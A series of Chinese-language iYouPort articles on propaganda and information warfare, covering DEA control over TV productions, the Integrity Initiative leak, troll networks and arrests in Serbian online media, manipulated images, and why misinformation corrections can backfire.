在所有受支持的项目中，影视制作者必须授予“高级**DEA**官员”对最终编辑的控制权，以确保项目不会损害“正在进行的调查或起诉、调查实践或技术、以及机密来源的身份、或DEA特工或特遣部队任何人员。”

DEA官方“可以在编辑和制作过程中随时做出决定”，并且“制作人需要同意遵守**DEA**要求的任何修改、删除或以其他方式的任何更改”。

虽然这些限制中的一些是合理的为了保护被控犯罪者的权利，但是，**DEA**规定的限制主要是为确保它们被任何影视作品描述为完全正面。

Shadowproof 与作家 Doug Valentine 进行了交谈，他撰写了大量关于DEA文化和腐败问题的文章。

“看起来高大上的描述对于**DEA**来说比准确的描绘更重要，”他说。合同列出了几种在任何情况下都无法显示的特定内容。

⚠这些禁止包括：“不允许记录任何枪击事件，无论是谁先开枪的”、“不允许拍摄审讯”、“不允许拍摄个人通信以任何方式受到监控”，以及“不允许揭露**DEA**所谓机密的或敏感调查技术的镜头”。

由于这些审查禁令，所有影视制作都要保持着相同的基本信息 —— 即 DEA是英雄，他们正在与威胁美国社会的邪恶势力作斗争。

“这就是宣传的**BS**，纯洁而简单，“Valentine 说。

“我谈过很多关于英雄的神话。他们想把自己描绘成一个崇高事业的英雄。他们要求完全控制叙事”。

当被问及这些影视节目是否代表了对DEA间谍和毒贩之间真实关系的不准确呈现时，Valentine 回答说，“这取决于具体的间谍和贩运者，但是可以肯定，贩运者永远不会逮捕间谍。因此，间谍拥有法律的力量。这件事变得棘手的地方是线人、特殊雇员和秘密行动。也就是中央情报局的那些东西。”

除了声明对影视制作的最终编辑的完全控制之外，这些合同文件还有条款声明DEA“保留进行背景调查的完整权利，并且如果必要的话，DEA可以拒绝任何被认为可能危及DEA操作的人。“

⚠与联邦调查局一样，DEA不仅关注他们支持的影视作品的内容，而且还关注制作这些影视作品的人的背景（你可以理解为政审，形式差不多）。

“这是确保完全控制的另一种方式。 DEA痴迷于控制并将控制做为其优势力量，“ Valentine 补充道。

这些合同也进一步证明了DEA对控制的痴迷 —— 合同要求制作人在制作发布或播放后立即销毁DEA提供的任何材料（照片、文件、统计数据、b-roll素材等等）。

制片人必须向DEA提供DVD副本和非独家许可，以便该机构可以使用由此产生的任何电影或电视节目，以“招募、培训、专业发展、社区关系、或其他宣传性努力”。〇

CONTRACTS REVEAL FOR FIRST TIME HOW DEA EXERCISES CONTROL OVER TELEVISION, FILM PRODUCTIONS

原文

秘密宣传战网络 - iyouport

心理战和信息战

【2019年8月22日存档】这是一个秘密宣传战网络。他们汇集了一大群高级军事和情报人员、记者和学者，制作和传播有利于本国及其盟国地缘政治和经济目标的宣传战信息。他们是如何被曝光的？

此前我们已经介绍过很多关于信息战和秘密宣传的案例及其操作方法。宣传真的不是你能看得到的表面现象那么简单，它的目的就是让你意识不到，让你下意识地感觉被灌输的东西“出自自己的本心”。这样的结果是你不仅不会主动去揭穿谎言，而且会拼命维护谎言，就如维护你“自己”那样。本文也是信息战的一个案例，虽然它没那么复杂，但是掩护得很好，它利用合法的慈善组织作为宣传战武器，直到其被揭穿。

Institute for Statecraft 及其分支机构“诚信倡议”构成了一个与英国间谍机构和更广泛的其他机构密切相关的秘密宣传战网络。他们汇集了一大群高级军事和情报人员、记者和学者，制作和传播有利于英国及其盟国地缘政治和经济目标的宣传。

去年11月，匿名者组织发布了一系列文件，文件中详细描述了一个由诸多政治家、记者、军事人员、科学家、和学术界人士组成的宣传战网络，明确称之为“战斗”，这是由北约附属的英国资助的 **Statecraft** 研究所于**2015**年创建的。

所谓的“诚信倡议“由军事情报和通信专家负责。

这个高度机密的、政府资助的“网络的网络”已经发现自己受到严格审查，他们将反对派领导人 Jeremy Corbyn 称为“克里姆林宫的傀儡”—表面上伪装成反对“俄罗斯虚假信息”的一部分。

被曝光的文件显示，信息战部门在整个欧洲发展了一大批亲权势的记者和“关键影响力人士”的秘密“集群”，他们利用社交媒体进行活动，以“反击虚假信息”为幌子伪装自己。并且，该倡议在两年内从外交部

获得了超过**220**万英镑的资助。

事实上该倡议只是捍卫了反民主的虚假信息。

泄密事件表明，该组织在去年3月 Sergei Skripal 和他的女儿 Yulia 在索尔兹伯里神秘中毒后，在塑造媒体叙述方面发挥了核心作用。值得注意的是，该组织早在2015年就提出的许多严厉的措施都是在 Skripal 事件之后迅速得到实施的—— 尽管白厅拒绝用证据支持其责备框架。

该倡议服务于高度政治性的“战略通信”角色是毋庸置疑的。

所谓的“诚信倡议“自我宣布的“慈善机构”，由英国外交部、英国陆军和国防部资助，已被星期日邮报描述为右翼信息部队。但更清楚的描述应该是：一个右翼在编的秘密行动宣传单位。

在该组织现已向 Jeremy Corbyn 道歉后，工党再次呼吁对政府资助的该行动进行调查，并且最表面的证据是它违反了慈善法。

星期日邮报曝光的推文发布后，Integrity Initiative 及其支持者一开始否认 Corbyn 受到了不公平的攻击。

然而，几个月后又忽然出现了道歉，IFS 的创始人 Chris Donnelly 显然承认这些活动违反了外交部规则和苏格兰慈善法。该团体的注册地址是法夫行政区。*The HQ of the Institute for Statecraft in Fife (Image: Sunday Mail)*

工党领袖 Neil Findlay 说：“该组织已经道歉是正确和恰当的，但是，这里还有更多严肃的问题需要得到解答。

“这是一家在苏格兰注册的并由苏格兰慈善监管机构监管的组织，由英国政府资助。它应该永远不会对工党和工党运动进行政治攻击。这种明显的政治攻击不应该来自任何慈善机构。我们需要知道为什么外交部一直在资助该组织。这是不被允许的。我们需要对该组织的行动及其与保守党政府的联系进行全面调查。“

Findlay 此前曾表示：“所谓诚信倡议的叙事已经变得更加隐晦和模糊—— 现在我们看到它暴露出他们受到了伊拉克灾难期间流传的一些最糟糕的假新闻背后组织的支持。

“英国议会和苏格兰的慈善监管机构 *OSCR* 现在必须认真考虑这个所谓的慈善机构的活动和资金来源，这些慈善机构似乎只不过是一个宣

传战的战线。”

所谓的“诚信倡议”已经获得了200万英镑的公共资金，已经成为苏格兰慈善监管机构（OSCR）调查的主题。

然而，“纽约时报”发表的引述显示，Donnelly 似乎承认 OSCR 的规则已被打破。

他说：“我们推出了*26,000*条推文。大约*400*条提到了一些政党或政治家，但我们不应该派遣他们，因为外交部不允许我们发表任何政党相关的评论，苏格兰慈善法也不允许。

“这是一个错误，我们给 *Jeremy Corbyn* 写了道歉信。我是两位保守党国防部长的特别顾问，也是工党 *John Reid* 和 *George Robertson* 的特别顾问，所以我们应该是非政治的。“

事实证明，这个慈善机构与臭名昭著的战略通信大师 **John Rendon** 有联系，他们的 **Rendon** 集团在**90**年代时就被中央情报局聘用，负责宣传“伊拉克拥有大规模杀伤性武器”的虚假故事。

匿名者曝光的文件显示，自称为“信息战战士”和“感知管理人”的 **Rendon** 也是一个价值**45,000**英镑的研讨会主讲人，为那个所谓的“诚信倡议”组织教育“宣传战核心团队和集群”。

这个 Donnelly 是军事情报部门的名誉上校。该部门领导层的另一名成员 Dan Lafayeedney 于1978年担任 SAS 士兵，负责指导 Stephen Dalziel 从事军事情报工作。

工党已经要求进行独立调查。外交部长 Alan Duncan 起初承诺进行全面调查，但是后来又改嘴了，试图将这起丑闻视为“俄罗斯的虚假信息”。所谓的“诚信倡议“官员辩称，其他推文“也一直批评其他政党的政客”。然而，数据显示，其批评的重点目标是 **HM** 的反对党领袖。

工党的 Chris Williamson 此前曾表示：“宣传战中最令人担忧的一个方面就是将这个国家推向战争基础的这一看似隐蔽的努力。

“像 *John Rendon* 这样的宣传战大师参与其中的事实是非常令人担忧的，因为这正是他专门研究的那种东西。我们将要求在议会进行更多辩论，并要求外交部提供更多答案，以便找出这里发生了什么。”

在这里看到视频：

关联：宣传战操纵选举的调查报告[PDF]“Disinformation and ‘fake news’: Interim Report”

到目前为止，还没有看到任何人将这个宣传战工具“诚信倡议”的曝光与剑桥分析公司丑闻联系起来。我们此前发布的长篇报告已经揭露（详见《心理操纵的秘密》），政府雇用了多个神秘的公司，他们在竞选活动中使用与剑桥分析公司相同的方法，花费了数十万英镑的公民资金，因此保守党可以利用针对性洗脑的黑暗广告和精心制作的宣传战来瞄准目标选民。

一旦保守党在2010年随便宣布他们的“行为改变”议程，并设立了’Nudge Unit’，剑桥分析公司/ SCL 这类的丑闻就不可避免了。人们怎么可能期望一个越来越专制的政府会抵制利用所谓的“行为科学”技术来操纵公民的观念、认知、行为、选择以及最终投票决策的诱惑？

“监视资本主义 ”是哈佛大学学者 Shoshanna Zuboff 在2015年创造的术语，用来描述这种大规模监视和修改人类行为以获取利润的经济体制—— 更多详见 IYP 类目“监视资本主义”。它涉及刮取数亿人的私密生活、选择、和行为的大数据集的预测分析，允许识别相关性和模式，推断和分析个体信息，以及预测目标个体或群体的未来行为和决策。然后，这些分析结论会通过极具针对性的和“动态”定向的宣传战来影响目标的行为。

整个过程通过实验方法进行了改进—— 在不同的人口统计数据上测试宣传的各种变化，以确定最有效的方法。每次我们登录时，我们都可能成为不知情的且因此不同意的小白鼠，操纵者的目的是确定如何最有效地从我们身上赚到钱或说服我们信任某些东西以利于他们的利益。

隐秘宣传战和剑桥分析公司等秘密机构的共同点是隐蔽地使用强大的行为修正战术：psyops。

我们的个人数据被用于构建所谓的“说服模版”，使用一组基于概率的估计—— 关于特定影响策略对个人的有效性，这也是基于调查目标人过去对这些策略的反应所集成的大数据分析。其中一些公司也正在试验生物识别技术。

很多人一直认为是“其他国家”试图干预英国的选举。事实上并不是这么简单的。使用大数据分析和心理操纵来定位社交媒体上的任何目标人以灌输政治内容的行为，已经产生了深远的政治影响，但它仍然在很大程度上没有得到重视。

通过高度借助监视资本主义的设备和机制，政治竞选已经从公共过程转变成了私人的、个性化的微观监控操纵策略的网络。这个过程导致政府将公民作为达到其自身目的的手段—— 只是维持权力，维护现状。

在斯诺登于2013年揭露的英国间谍头子 GCHQ 和美国间谍头子 NSA 的秘密活动后，立即成为了被世界各地争议的头条新闻。GCHQ 的目标是汇总[大规模收集]网络上每个用户的私人习惯。 这项臭名昭著的调查权力法案，俗称“监听器章程 ”，允许维稳部门和情报机构被法律授权获取来自技术公司的任何个人数据，并且，文件显示，英国政府寻求与美国达成协议，这些协议将给予英国情报机构更充分的权力以访问这些数据库。

监控公司与国家安全和情报机构之间的数据共享已经建立。在美国，巨头科技公司已被迫将有关其用户的数据移交给 NSA。 当雅虎拒绝时，他们每天都被罚款25万美元，并且每周罚款加倍，他们的违规行为继续存在，面对金融危机的前景，他们默许了。

显然，监视实践改变了公民与国家之间的关系，改变了权力平衡并扭曲了民主。

私人公司或政府把公民变成巴甫洛夫的狗是不对的。这种针对性的心理说服策略严重破坏了人类自尊，自尊是人格独立性和民主的核心。

Further calls for inquiry into psyops initiative following an apology for smearing Jeremy Corbyn. “The involvement of someone like John Rendon is extremely concerning as this seems to be exactly the sort of thing that he specialises in.

原文

第2部分：社交媒体战场、人工政治和逮捕 - iYouPort

心理战和信息战

索引：社交媒体 WARS：巨魔游戏；映射 Twitter 的 BATTLEFIELD；人工政治 HASH 在 Twitter 上的案例；政治气泡在 Facebook 的水族生物；逮捕和拘留的后果……

「图」

「图」

继续上一篇文章的报告。如果您还没有读过，可以在这里看到《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》

「图」

「图」

– VI—社交媒体大战：巨魔游戏

互联网及其架构的最初概念向我们提出了一种分散化和民主化的可能性，即每个人都是一个媒介。但 50 年后的今天，这一梦想已经彻底破灭。实际上，基础设施和服务变得高度集中，由互联网服务提供商和巨头互联网公司（如谷歌或 Facebook）控制。在这里阅读 IYP 的警告：《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》。

是的，我们仍然有机会成为个人媒体，但在大多数情况下，我们只能在更大的社交和媒体结构中存在，由其他人拥有和控制。但是，即使在这种情况下，政府或政治行为者对媒体的控制也要比20年前有难度，因为他们需要控制的节点不再高度集中在几家国家电视台和报纸上。从这个意义上讲，这是对个别节点（人）及其社交图谱的统治战。

通过工具化和征服单个节点，他们能够干扰和影响人们的社交图谱（参见：Human Data Banks and Algorithmic Labor，SHARE Labs 2016）这一图谱由人们的社交圈子—数百名朋友、同事和亲戚组成。 也就是说，通过代理征服他人的信息流。

社交网络生态系统是针对反对者的不同形式的虚假信息或诽谤运动的肥沃土壤，或仅仅是一种啦啦队活动，就像中国那样（详见上一篇文章），这取决于政治战争的风格。在这样的环境中，政治宣传（为了加速伤害机构、事业或个人，而传播符合当权者利益的思想、信息或谣言），可以通过匿名或微小的单个节点执行，将他们的现实身份直接连接到政党。

映射 **Twitter** 战场

当谈到个性化行为者并在某个网络中标记他们的影响力时，社交网络分析（SNA）就是下注的马。该方法已经以不同的形式和变化被使用，并且基于图论成为科学。（点开大图）

「图」

「图」

在塞尔维亚选举前期间基于包含 # izbori2016（ # elections2016）标签的所有互动语料库的社交网络分析

如何阅读此图表？

在查看显示的图表时，应该记住一些事项。网络中的节点是人/实体（组织），边缘是它们之间的交互：#节点的大小反映了特定节点如何进入的，交互量（推文、回复）是传入和传出交互的总和；

- 根据他们所代表的政治结构，我们为政治组织的最大节点着色（因此用相同颜色的不太密集的变体着色他们在网络中的近邻）。

1. 攻击者：第一个位于图表的右侧，在“蓝色团队”（执政党）的核心，有一个大的淡黄色节点（@zeljkocenej）。这个用户被其他蓝队节点连接（转发、点赞），但在他的推文中，他经常攻击黄色团队（@demokrate），这就是为什么 SNA 算法给他一个淡黄色的原因（因为他们之间有明显的连接）。根据这张图可以确定，他是最强大的巨魔领主，是蓝队宣传机器的引擎

之一。

- **Bridge**：另一个有趣的例子可以在图的中下部分看到。账户 @Kika_Bibic 是一座桥梁，对反对党官方节点上的各种蓝队攻击进行了推动（转发和回复），与反对派节点和媒体账户相关联的个人账户（例如 @ n1infobg）

Twitter 上的人工政治 HASH 案例

除了真正的人工巨魔领主之外，通过使用社交网络分析，我们还可以发现试图参与信息战的原始人工行为者的痕迹。

#slozno（“unanimous”）标签的情况，这是选举名单“SložnozaSrbiju”（“塞尔维亚的一致”）的竞选口号。该列表在社交媒体上没有得到公众的好评，尤其是在 Twitter 上，即使是列表中的成员本身也不够活跃，也没有社区讨论他们的建议或计划（在活动的背景下）。然而，有一条推文使用了这个标签，显然是个假帐户叫“@najludja”（在发布有关推文前几个小时被创建）。

这条推文被一些通常不参与竞选活动的账户转发了一千多次，这个数字甚至在整个塞尔维亚都是非常惊人的。这是一个“外包”支持者的例子，它完全可以作为一个测试案例，对于那些想要在选举过程中在线看到人工认知营销效果的人来说，非常有用。之后很快推文就被删除了，但它已经被我们用于实时数据收集的软件抓取。

这种情况的现象可以在下图的左侧清楚地看到：（点开大图）

「图」

「图」

基于在塞尔维亚选举前期间与 # izbori2016（ # elections2016）标签一起出现的所有主题标签语料库的社交网络分析

「图」

「图」

Facebook 水族馆内的政治泡沫

世界上最大的社交网络，在我们之前的研究中得到了深刻的解剖，其中有超过一半的塞尔维亚公民，这里很可能是信息战中最大的生态系

统之一，相当于中国的微博。无意深入探讨 Facebook 的主体是非活跃的代理人、非中立的玩家，有能力塑造、交替或审查政治讨论，我们要说的重点是，**Facebook** 背后的界面、结构和算法正在决定这场信息战的规则。

Eli Pariser 在他的著作“过滤泡泡”中指出，用户很难接触到冲突性观点，并且在 Facebook 自己的信息泡沫中被算法隔离，算法根据用户信息选择性地猜测用户想要看到的内容—— ⚠ 请注意，这并不仅仅是在迎合个人的偏好，更多还有 **Facebook** 这些阴暗的巨头希望人们的认知变成什么样！这才是最大的威胁。也就是我们在《"定制人将终结民主"》一文中主要阐述的。

这种现象也被称为“回声室” ，是对一种情形的隐喻描述，即 其中信息、思想或信仰通过“封闭”系统内的传播和重复，而被放大或加强，其中不同的或相互竞争的观点被审查、禁止或否认，以至于明显的代表性不足。

换句话说，这创造了一个高度政治化的空间，思想市场已经不复存在，并且与此同时，由用户部分算法管理的泡沫很容易成为具有相同政治背景的人只是在彼此之间进行的讨论，而不会将其暴露于其他政治观点中，不会形成辩论和交锋。 是的，这就是为什么中国这类追求“大一统”的国家会非常热衷于 **FATBAG**（**Facebook Amazon Tencent Baidu Alibaba Google**）这个中美均分的数字极权黑手整体在此完全一致，只有它们才能提供政府期待的“和谐”。

我们从塞尔维亚20个政党的官方 Facebook 页面收集数据，并进行了不同的数据分析（其他分析可见这里），但是，对于本文这个分析，我们将提供一个量化的用户数量和他们拥有的交互次数（如 分享、评论）他们有官方的政党主页。

「图」

「图」

在此图表中，每个圆圈代表一个与政党官方网页互动的用户。正方形的大小和颜色与相互作用的数量成比例。这种方法允许我们观察进行大量交互的用户（以黑色标记的是与该方的交互超过100个单位的用户）、与具有较少交互（灰色）的用户之间的关系。

这张图可以帮助我们感受每一方政治在线宣传机器的规模大小。从我们的角度来看，在5周时间内与一方有超过 100 次互动（黑色泡泡）

的用户可以被视为积极的参与者，政治宣传的代理人在他们的‘朋友’网络中传播政治议程。

正如我们在上一篇文章中谈到主流网络媒体时所看到的那样，这个空间已经被征服，并令统治党和政府宣传占据了主导地位，普通公民的评论受到精心策划的巨魔网军的污染。也正因此，和中国异议曾经对微博的依恋一样，Facebook 也是新成立的反对党推动其议程和与沟通的明显选择。这可以在所呈现的图表中清楚地看到，其中两个最大的群体是年轻的反对党（Dveri，DJB）。即使他们能够通过接受近 50% 的互动来统治 Facebook 领域，但在选举中他们只占据全部选民的 5%。

「图」

「图」

– VII — 逮捕和拘留

“他们已经到了一个没有人敢说出自己的想法的时候，当凶狠咆哮的狗到处游荡，当你不得不看到你的同志在承认令人震惊的罪行后被撕成了碎片。”—— 《动物农场》乔治奥威尔

在 2014 年洪水之后，专业政府小报显然不会因为他们的恐吓性言论和虚假的报道而面临公众监督或官方谴责，但一些社交媒体用户被警方传唤。就像中国社会非常了解的那种状况。

关于法律规定的迷糊和含混是否有意或无意都不重要了，它已经被证明是实现在线噤声的便利工具。尽管它们的状态是在私人社交媒体账户上发布的，并且没有引起实际的恐慌，但在被拘留者中，有一个18岁的男人，一个两个孩子的父亲，一个时尚化妆师……总而言之，第一波逮捕至少有 15 起案件涉及贝尔格莱德地区。在接下来的几个月里，有报道称，该国境内的城镇和小型社区的一些当地在线和广播记者也受到了威胁，这些威胁都与洪水有关。

到同年秋天，调查报告中心公布了被拘留的人的证词，他们被指控为“企图”引发恐慌。你可以理解为中国当局称之为“扰乱社会秩序”的说辞。

在此之后的几年里，这种对舆论的管制不仅仅是针对评论部分和社交媒体的帖子了，而是整个公共领域，在各种场合都被使用，尽管并非所有案例都能获得新闻报道。

塑造公共话语的另一个方便的法律依据也是一个形容词建构的，即“威胁”，据称是针对总理或任何其他知名人士的“威胁”，也就是说，如果这些名人不喜欢的言论，他们就会认为是“受到了威胁”。同样，没有确定数量的此类案例，但这种趋势可以通过引人注目的头条新闻来检测，偶尔会提升到中国人熟悉的“计算机流氓罪”的滥用层面上。

对塞尔维亚来说，这两种方法在正式的司法程序中收效甚微，而许多案件可能会被拖延，直到最终放弃或其诉讼时效到期。更有趣的是，虽然没能起诉成功，但这些法律真的改变了公众对可以大声说出的概念以及私人空间的界限的结果，人们不再敢于自由地表达自己的愤怒、沮丧等情绪。

「图」

「图」

后果

网络攻击对塞尔维亚网络媒体和记者的真正后果是什么？大多数内容被消失和 DDoS 攻击的案例都没有与内容本身相关的长期后果。正如 EFF 的创始人之一约翰吉尔摩（John Gilmore）所说的那样，“互联网将审查制度视为故障，并绕道而行”。从网络上取下的内容通常会在不同的地方成倍地增加，由其他博客或在线媒体网站重新发布，吸引更多的读者。

但显然，这与人们的勇气直接相关。

不安全和恐惧

我们可以说，这些袭击的主要后果是不安全和恐惧的加剧，从而对在线言论自由产生寒蝉效应。

事实是，发布批评权力结构（政府、犯罪集团或任何其他权力）的内容可能导致网站的破坏、阻塞或暂时下线，随后是大量的压力和昂贵的工作时间来恢复系统，这明显会影响人们自由表达自己的意愿。

在网络空间，防御通常比攻击更昂贵。对于那些无法负担昂贵的网络安全专家或技术解决方案来保护自己的小型独立媒体和公民媒体而言，这可能是非常令人沮丧的。根据莫罗佐夫的说法，DDoS 攻击给内容制作者带来了沉重的心理压力，迫使他们担心各种机构间问题，

例如他们与互联网托管公司之关系的未来，以及网站不可用对其在线社区产生的破坏性影响等。

这种趋势的一个有点积极的结果是一些更专业的媒体组织实施了 DDoS 缓解系统，例如 CloudFlare。DDoS 攻击仍在继续，但与 2014 年相比，这些攻击已经变得更为复杂了，使用大型且更持久的僵尸网络，已经能够绕过免费版本的 CloudFlare 并关闭服务器。

对公众的寒蝉效应

由于他们的博客、评论或其他形式的在线写作而被逮捕的个人案例，不仅对记者和在线媒体组织产生了寒蝉效应，而且对塞尔维亚的一般在线用户群体也产生了影响，占塞尔维亚公民的60%。

因此，公民在数字环境中不会感到被赋予权力和受到保护，这便减少了新技术的潜在使用。预计过去一年国家开展的众多法律诉讼将进一步加剧对网络言论的寒蝉效应。

隐私侵犯和监视

针对个人和专业组织的通信以及电子邮件、在线文档和数据库等工作工具的针对性攻击可能会危害来源的匿名性，泄露调查计划，或通过发布私人信息以及身份盗用来诋毁受害者。达到必要的数字安全水平通常意味着复杂的程序，改变与使用技术相关的常规习惯，当然这是必要的，但同时也可能导致记者和组织的整体效率降低。

阻止公众对话

使用由政党成员策划的技术工具操纵公众舆论的规模，导致了对主要新闻门户网站和社交网络的评论和使用泛滥，集中化愈加严重，这一状况正在改变开放空间，使对话和在线观点表达只在一个的领域可以接收到意见，从而造成了舆论的整体错误形象。这种人为的噪音使得个人的真实声音几乎不可能被听到，这阻碍了对社会重要的话题的对话。

无法保护

显然，政府未能保护塞尔维亚的在线媒体和公民记者。相关的国家机构在某些情况下对于更有效的反应只具有有限的技术和组织能力。然而，真正危险的是，相关公共机构（警察和司法机构）的反应因案例而异，有时它们非常有效，有时则非常缓慢且没有适当的反应。

在大多数情况下，国家当局极其缓慢或完全没有反应，这显然与对网络媒体、调查记者和批评政府的公民媒体的网络攻击有关。任何问题都不会得到解决。

另一方面，相关的公共机构在针对社交媒体用户和博客的逮捕和司法诉讼中反而被证明非常有效（如 Malagurski 案和在洪水期间引发“恐慌”的案件）。所有这些方面共同导致了该领域缺乏法律确定性，法治水平无法令人满意。

总之，公民社会应该努力起到援助这些危机的功能，我们无法指望政府的帮助，正相反很多问题就是政府造成的。我们演示这一调查思路，就是希望能在中国看到公民社会参与这项工作，除了你们，没有其他人能在此给出有效的帮助。制图推荐：https://www.tableau.com/ ○

原文

粗制滥造的图像和视频依旧不影响骗人，这是为什么？ - iYouPort

心理战和信息战

人们并不是“信任”，而是借用虚假消息来彰显自己的既有认知是“正确的”

「图」

「图」

如您所知，IYP一直反对以“虚假信息”为由加强的审查制度。如今这一借口在全球流行，已经成为信息末日启示录的“六骑士”之一。

在讨论 Alex Jones 事件时我们也重申了这点。几年前，一些00后的年轻人曾经对我们说，“互联网是用来娱乐的，没有人应该相信互联网上的任何东西”。我一直记得这些话，因为这与我们这些读报纸长大的人的认知模式截然不同，我们的潜意识里依旧倾向于认为“图像和视频可作为证据”。

下面这篇文章来自罗彻斯特理工学院摄影科学教授 Christye Sisson，她也提到了同样的问题。

我们这些人应该向孩子们学习，保持怀疑态度，让验证意识进入更多人的习惯 —— 这是能有效抑制信息战的直接方式，而不是审查。

- 这是我们3年前的文章《为何假消息反而被热传，当下的解决方案有什么错》
- 更多内容可见 列表-3 “心理战和信息战” 部分

「图」

「图」

上图中提到的这本书在这里下载：https://t.me/iyouport/6835

许多人，包括国会在内，都对假冒的视频和图像泛滥歪曲事实这一问题感到担忧，这些造假者蓄意向人们展示某些人从未说过的话或做过的事。

我参与了一个更大的美国政府项目，该项目正在研究如何开发方法以检测已被操纵的图像和视频。

- 《开源情报和取证学如何对付 “深度造假”？（有很多视频）》

不过，我们小组的工作是扮演坏人的角色。我们不断开发出越来越狡猾且令人信服的造假方法，以期在其他研究人员测试其验证方法时给他们带来挑战。

在过去的三年中，我们一直在寻找一些新的技术来尝试改变图像和视频的含义，这很有趣。

我们自己创建了一些完全虚构的场景，但是我们也从正在发生的事和造假者试图扭曲舆论的情况中获得了很多启发。

我为我们所做的工作感到自豪，并希望它能帮助人们在信息爆炸的世界中了解真相。

但是，我们发现，真相与"虚假信息政治宣传"之战的关键要素，与技术无关。

只要人们确认了自己的信念，就更有可能接受某件事。无所谓真假。

- 心理学角度的分析《假新闻产业触目惊心 互联网人真的如此好骗？》

寻找并突破技术界限

当我们制造假货时，首先要收集原始的、未经篡改的图像和视频。

这些不仅为我们提供了处理图像的原始材料，而且还包括存储在真实媒体文件中的数据 —— 就像是一种技术指纹，它伴随着描述每种媒体是如何制作的、什么时间制作的、以及使用的是何种工具。

这些信息可帮助我们在视觉证据和数字人工制品中制作出外观和行为与真实材料尽可能相似的假货。

随着新相机的上市以及研究人员开发用于数字取证分析的新技术，这

是一个不断变化的挑战。

然后，我们将创建的内容发送给其他研究合作伙伴，看看他们是否能够判断出我们做了什么、以及如何做的。

他们的工作不仅是确定它是真实的还是假的，而且在可能的情况下，还要解释假货的制造方式。

然后，将其他人的结果与我们的实际操作进行比较，每个人都可以学到东西；我们学习了如何制作更好的假货，并且他们学会了如何更好地揭露假货。

粗制滥造的假货也同样有说服力

当我的团队尽可能使用各种技术和方法时，我不禁注意到，在网络和社交媒体上传播的造假图像和视频的质量实际上很糟糕。

我们以尽可能令人信服为荣，但我们所看到的 —— 那些网络上流行的模糊的图像和 Nancy Pelosi 的热门造假视频 —— 几乎无法通过我们的标准。

作为一个具有摄影技术基本知识的人，我真的很震惊，因为人们似乎被那些很容易可以识别为假的图像和视频所吸引。

为了了解正在发生的事，我对家人和朋友进行了一些不怎么科学的调查。

我从社会学家和社会心理学家的趣闻中学到了点东西：如果图像或被操纵的任何信息支持某人已经相信的东西，那么他们通常会毫无疑问地接受它。

伪造的照片很普遍，比如 显示NFL球员在更衣室里焚烧美国国旗，Parkland 学生撕毁宪法，鲨鱼在高速公路上游走等等。从技术上讲，它们都是可怕的操纵。但是它们是耸人听闻的图像，通常具有特定的政治角度。这帮助他们在社交媒体上获得了巨大的关注，并因此获得了新闻报道。

造假的泛滥

人们 “相信” 他们在网上看到的内容可能还有另一个原因。

我问我的十几岁的儿子，为什么他认为人们会迷恋这些可怕的假货，他的回答很简单：“您不能信任互联网上的任何东西。我当然不认为那些东西是真的，因为没有任何东西是真的。”

我对他的回答感到惊讶。怀疑主义不仅对于抑制这种泛滥程度是有益的，而且可能是现代媒体生存和发展的关键。

对于我们这一代人，尤其是那些亲历了从胶片到数码摄影时代的过渡的人们来说，对图像的信任正在被打破。而对我儿子这代人来说，似乎从来没有建立过信任。

当人们谈论假象时，他们常常忽略了媒体素养的基本概念。人们开始想象观看虚假视频时，有人说或做一些从未真正发生过的事，因此恐惧和恐慌变得越来越大。

这种恐惧基于“眼见为实”的长期原则。但是，鉴于伪造图像的泛滥，这些旧的公理已经不再适用。

实际上，一些研究表明，虚假新闻可能是由那些更容易接受虚伪或耸人听闻的主张的人驱使的 —— 具有讽刺意味的是，这些人往往对自己的知识过于自信。

对技术实力的怀疑

我确实相信，我们小组以及研究合作伙伴的工作将有助于发现技术先进的造假产物。

根据儿子的经验和与我一起工作的学生们的观点，我也逐渐建立起一种信念，即：今天的年轻人和子孙后代可能更擅长消费和响应图像和视频。

他们所提出的怀疑主义是一种比我们许多人习惯的更为复杂的媒体素养，甚至可能预示着一种文化转变，不再依赖图像或视频作为“证明”。

他们只有在证明它是真实的之后才会相信它，而不是相反。

同时，尽管研究人员的检测能力有所提高，而成年人试图赶上孩子们已经知道的知识，但最好还是持怀疑态度。

☞在做出反应之前，先找出图像的来源和背景。当您看到某人在社交媒体上分享了令人赞叹、轰动或改变世界的图像或视频时，请花点时

间，然后自己分享。

执行反向图像搜索以标识该图像还出现在哪些其他位置。您甚至可能会偶然发现可信赖的来源报告说它实际上是假货。

- 在这里看到更多基本的验证信息的方法 列表 -3 “让它民主”

○□

I create manipulated images and videos—but quality may not matter much

原文

纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？ - iYouPort

心理战和信息战

必须承认情绪化这种东西是非常厉害的，如果你陈述的真理会把轻信错误观念的人激怒，认知失调肯定在第一时间把真理弹出去

「图」

「图」

人们不会以中立的方法处理信息，因此纠错是极为困难的。很多研究发现，对错误的纠正反而会强化对错误的坚持，纠正的结果适得其反。选战中的宣传战尤其如此，如果一方制造出不利于另一方的假消息，另一方越是辩解，状况就越糟糕。有关希拉里身体状况的假消息最初出现后她的助选团队便开始澄清，但与此同时同类的传言反而徒增了许多。

上篇文章中的主张是保持信息均衡，让更多人有机会接触到反驳和澄清的信息。本文必须深入的一点就是：在有些时候，信息均衡反而会强化既有认知，也就是不容易纠错。

一项实验的主题集中在对死刑的评价上，特别是对死刑是否能减少暴力犯罪这个问题的评判。被试者被要求阅读一些有关支持和反对死刑对犯罪的震撼作用的研究，他们也阅读了相关数据、批判和反驳的研究，也就是尽可能接触均衡的信息。

你觉得这样一来会发生什么呢？充分接触了正反两面信息的人是否会表达一种近乎中立的观点？结果是否定的－－支持者和反对者都会因研究中支持自己观点的那部分数据而变得对自己的观点更加坚定。

相反观点完全被忽视了。简单说就是，让人们处于均衡的信息环境中时反而使人们更加坚定的自己的信念，甚至出现了观点极化。

这就是上文中提及的“偏颇吸收”现象，它源于人们降低认知不和谐的欲望。人们会按照自己的偏好处理信息，对那些与自身既有认知相矛盾的信息被直觉忽略掉了。这种现象在很多领域都有存在，比如众所周知的，恐穆、恐同群体在平权信息增加的状况下反而壮大了，且态度趋于恶劣，在中文网络很容易体察这点。

偏颇吸收发生时动机因素通常在起作用。社会学家曾提出过反证偏见的概念，即人们会尽力反证与自己最初观点相冲突的论断，于是均衡信息环境下，最初的观点被强化。

假消息的传播中，偏颇吸收现象是非常明显的，即便辟谣的信息铺天盖地也很难令那些已经采信谣言的人醒悟，尤其是有关政治和经济的假消息，他们往往编写得非常生动，能直戳信息消费者的软肋。

